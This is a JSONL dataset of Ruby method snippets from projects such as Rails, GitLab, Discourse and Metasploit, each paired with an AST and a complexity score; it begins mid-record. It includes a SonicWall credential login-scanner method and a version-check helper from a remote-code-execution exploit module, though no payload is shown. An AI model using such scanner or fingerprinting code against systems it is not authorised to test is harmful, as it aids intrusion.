ren\":[\"most_recent_participants\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"thread_id\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread_participants\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"thread_id\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"users\"]}]},\"push\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"lvar\",\"children\":[\"thread_participants\"]}]}]}","id":"614563a3-814d-4b1a-a87c-a377f6c2811c"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/support/system_helpers.rb","start_line":53,"raw_source":"def sign_in(user)\n    visit File.join(\n            GlobalSetting.relative_url_root || \"\",\n            \"/session/#{user.encoded_username}/become.json?redirect=false\",\n          )\n\n    expect(page).to have_content(\"Signed in to #{user.encoded_username} successfully\")\n  end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"sign_in\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalSetting\"]},\"relative_url_root\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/session/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"encoded_username\"]}]},{\"type\":\"str\",\"children\":[\"/become.json?redirect=false\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_content\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Signed in to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"encoded_username\"]}]},{\"type\":\"str\",\"children\":[\" successfully\"]}]}]}]}]}]}","id":"7cd08a3c-104c-44d9-b022-f6dd8799b026"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240627231742_update_weight_widget_definitions.rb","start_line":13,"raw_source":"def up\n    work_item_widget_definitions.reset_column_information\n\n    work_item_widget_definitions.where(widget_type: WEIGHT_WIDGET_TYPE_ENUM)\n      .update_all(widget_options: { 'editable' => true, 'rollup' => false })\n\n    return unless epic_type\n\n    work_item_widget_definitions.create!(\n      widget_type: WEIGHT_WIDGET_TYPE_ENUM,\n      widget_options: { 'editable' => false, 'rollup' => true },\n      name: WEIGHT_WIDGET_NAME,\n      work_item_type_id: epic_type.id\n    )\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_item_widget_definitions\"]},\"reset_column_information\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_item_widget_definitions\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"widget_type\"]},{\"type\":\"const\",\"children\":[null,\"WEIGHT_WIDGET_TYPE_ENUM\"]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"widget_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"editable\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"rollup\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"epic_type\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_item_widget_definitions\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"widget_type\"]},{\"type\":\"const\",\"children\":[null,\"WEIGHT_WIDGET_TYPE_ENUM\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"widget_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"editable\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"rollup\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"WEIGHT_WIDGET_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_item_type_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"epic_type\"]},\"id\"]}]}]}]}]}]}","id":"22c03012-970e-4594-bf91-1586152d49b1"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/logger_thread_safe_level.rb","start_line":15,"raw_source":"def local_level\n      IsolatedExecutionState[local_level_key]\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"local_level\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IsolatedExecutionState\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"local_level_key\"]}]}]}","id":"f664643f-23d5-4b56-b25c-370abfe11c59"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bitbucket/connection.rb","start_line":13,"raw_source":"def initialize(options = {})\n      @options = options\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"0632baf2-b69b-43e0-b806-197387e7a380"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-chat-integration/lib/discourse_chat_integration/provider/groupme/groupme_provider.rb","start_line":35,"raw_source":"def self.send_via_webhook(message, channel)\n    # loop through all the bot IDs\n    last_error_raised = nil\n    num_errors = 0\n    # split on commas, but remove leading/trailing spaces\n    bot_ids = SiteSetting.chat_integration_groupme_bot_ids.split(/\\s*,\\s*/)\n    instance_names = SiteSetting.chat_integration_groupme_instance_names.split(/\\s*,\\s*/)\n\n    unless instance_names.length() == bot_ids.length()\n      instance_names =\n        [I18n.t(\"chat_integration.provider.groupme.errors.instance_names_issue\")] * bot_ids.length()\n    end\n\n    name_to_id = Hash[instance_names.zip(bot_ids)]\n    user_input_channel = channel.data[\"groupme_instance_name\"].strip\n    instance_names = [user_input_channel] unless user_input_channel.eql? \"all\"\n    instance_names.each do |instance_name|\n      bot_id = name_to_id[\"#{instance_name}\"]\n      uri = URI(\"https://api.groupme.com/v3/bots/post\")\n      http = FinalDestination::HTTP.new(uri.host, uri.port)\n      http.use_ssl = (uri.scheme == \"https\")\n      req = Net::HTTP::Post.new(uri, \"Content-Type\" => \"application/json\")\n      message[:bot_id] = bot_id\n      req.body = message.to_json\n      response = http.request(req)\n      unless response.kind_of? Net::HTTPSuccess\n        num_errors += 1\n        if response.code.to_s == \"404\"\n          error_key = \"chat_integration.provider.groupme.errors.not_found\"\n        else\n          error_key = nil\n        end\n        last_error_raised = {\n          error_key: error_key,\n          groupme_name: instance_name,\n          bot_id: bot_id,\n          request: req.body,\n          response_code: response.code,\n          response_body: response.body,\n        }\n      end\n    end\n    if last_error_raised\n      successfully_sent = instance_names.length() - num_errors\n      last_error_raised[:success_rate] = \"#{successfully_sent}/#{instance_names.length()}\"\n      raise DiscourseChatIntegration::ProviderError.new info: last_error_raised\n    end\n  end","complexity_score":82.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"send_via_webhook\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"arg\",\"children\":[\"channel\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"last_error_raised\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"num_errors\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"bot_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"chat_integration_groupme_bot_ids\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s*,\\\\s*\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"instance_names\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"chat_integration_groupme_instance_names\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s*,\\\\s*\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance_names\"]},\"length\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bot_ids\"]},\"length\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"instance_names\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"chat_integration.provider.groupme.errors.instance_names_issue\"]}]}]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bot_ids\"]},\"length\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"name_to_id\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance_names\"]},\"zip\",{\"type\":\"lvar\",\"children\":[\"bot_ids\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_input_channel\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"groupme_instance_name\"]}]},\"strip\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_input_channel\"]},\"eql?\",{\"type\":\"str\",\"children\":[\"all\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"instance_names\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_input_channel\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance_names\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"instance_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bot_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name_to_id\"]},\"[]\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance_name\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"str\",\"children\":[\"https://api.groupme.com/v3/bots/post\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"http\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FinalDestination\"]},\"HTTP\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"port\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"use_ssl=\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"scheme\"]},\"==\",{\"type\":\"str\",\"children\":[\"https\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"req\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTP\"]},\"Post\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"bot_id\"]},{\"type\":\"lvar\",\"children\":[\"bot_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"body=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"to_json\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"request\",{\"type\":\"lvar\",\"children\":[\"req\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTPSuccess\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"num_errors\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"404\"]}]},{\"type\":\"lvasgn\",\"children\":[\"error_key\",{\"type\":\"str\",\"children\":[\"chat_integration.provider.groupme.errors.not_found\"]}]},{\"type\":\"lvasgn\",\"children\":[\"error_key\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"last_error_raised\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_key\"]},{\"type\":\"lvar\",\"children\":[\"error_key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"groupme_name\"]},{\"type\":\"lvar\",\"children\":[\"instance_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bot_id\"]},{\"type\":\"lvar\",\"children\":[\"bot_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"request\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"body\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response_code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response_body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_error_raised\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"successfully_sent\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance_names\"]},\"length\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"num_errors\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_error_raised\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success_rate\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"successfully_sent\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance_names\"]},\"length\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseChatIntegration\"]},\"ProviderError\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"lvar\",\"children\":[\"last_error_raised\"]}]}]}]}]}]},null]}]}]}","id":"f9b342cb-1e56-4986-9218-f6519aab3c91"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/workers/remove_featured_tag_worker_spec.rb","start_line":31,"raw_source":"def stub_service\n        allow(RemoveFeaturedTagService)\n          .to receive(:new)\n          .and_return(service)\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"RemoveFeaturedTagService\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"new\"]}]},\"and_return\",{\"type\":\"send\",\"children\":[null,\"service\"]}]}]}]}","id":"f69560a6-c958-4d2f-9bf8-f65685a5acf9"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_with_zone_test.rb","start_line":283,"raw_source":"def test_yesterday?\n    Date.stub(:current, Date.new(2000, 1, 1)) do\n      assert_equal true,  ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(1999, 12, 31, 23, 59, 59)).yesterday?\n      assert_equal false, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2000, 1, 1, 0)).yesterday?\n      assert_equal true,  ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(1999, 12, 31)).yesterday?\n      assert_equal false, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2000, 1, 2, 0)).yesterday?\n    end\n  end","complexity_score":35.75,"ast_json":"{\"type\":\"def\",\"children\":[\"test_yesterday?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"current\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeWithZone\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"ivar\",\"children\":[\"@time_zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[1999]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[31]},{\"type\":\"int\",\"children\":[23]},{\"type\":\"int\",\"children\":[59]},{\"type\":\"int\",\"children\":[59]}]}]},\"yesterday?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeWithZone\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"ivar\",\"children\":[\"@time_zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]}]}]},\"yesterday?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeWithZone\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"ivar\",\"children\":[\"@time_zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[1999]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[31]}]}]},\"yesterday?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeWithZone\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"ivar\",\"children\":[\"@time_zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[0]}]}]},\"yesterday?\"]}]}]}]}]}","id":"b25cf2d7-c03c-449f-bd47-9ee3083d0ab8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/routable.rb","start_line":125,"raw_source":"def parent_loaded?\n    association(:parent).loaded?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parent_loaded?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"association\",{\"type\":\"sym\",\"children\":[\"parent\"]}]},\"loaded?\"]}]}","id":"f92cd998-9891-4cde-835e-db6cba710c74"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/relationship_mixin.rb","start_line":752,"raw_source":"def is_ancestor_of?(obj)\n    return obj.with_relationship_type(relationship_type) { obj.descendant_of?(self) } if use_ancestry?\n\n    descendant_ids.include?([obj.class.base_class.name, obj.id])\n  end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"is_ancestor_of?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use_ancestry?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"with_relationship_type\",{\"type\":\"send\",\"children\":[null,\"relationship_type\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"descendant_of?\",{\"type\":\"self\",\"children\":[]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"descendant_ids\"]},\"include?\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"class\"]},\"base_class\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"id\"]}]}]}]}]}","id":"b2586cb5-6bb4-4d42-8fdc-7b50164ddc0a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/login_scanner/sonicwall.rb","start_line":139,"raw_source":"def attempt_login(credential)\n          result_options = {\n            credential: credential,\n            host: @host,\n            port: @port,\n            protocol: 'tcp',\n            service_name: 'sonicwall'\n          }\n          result_options.merge!(do_login(credential.public, credential.private, 1))\n          Result.new(result_options)\n        end","complexity_score":7.35,"ast_json":"{\"type\":\"def\",\"children\":[\"attempt_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"credential\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"credential\"]},{\"type\":\"lvar\",\"children\":[\"credential\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"ivar\",\"children\":[\"@host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"ivar\",\"children\":[\"@port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"sonicwall\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_options\"]},\"merge!\",{\"type\":\"send\",\"children\":[null,\"do_login\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential\"]},\"public\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential\"]},\"private\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Result\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"result_options\"]}]}]}]}","id":"a291363a-4f63-4bd5-a0af-099b0ec97085"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/job_artifacts/destroy_batch_service.rb","start_line":107,"raw_source":"def artifacts_count\n        strong_memoize(:artifacts_count) do\n          @job_artifacts.count\n        end\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"artifacts_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"artifacts_count\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@job_artifacts\"]},\"count\"]}]}]}","id":"c0bbc8cf-b15c-4580-bf4a-1c44fd123758"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/goautodial_3_rce_command_injection.rb","start_line":77,"raw_source":"def check_version\n    uri = target_uri.path\n\n    send_request_cgi({\n      'uri' => normalize_uri(uri, 'changelog.txt'),\n      'headers' => {\n        'User-Agent' => 'Mozilla/5.0',\n        'Accept-Encoding' => 'identity'\n      }\n    })\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"changelog.txt\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"User-Agent\"]},{\"type\":\"str\",\"children\":[\"Mozilla/5.0\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept-Encoding\"]},{\"type\":\"str\",\"children\":[\"identity\"]}]}]}]}]}]}]}]}","id":"c35c46bd-531d-48c0-b6f2-5ab73603edbd"}
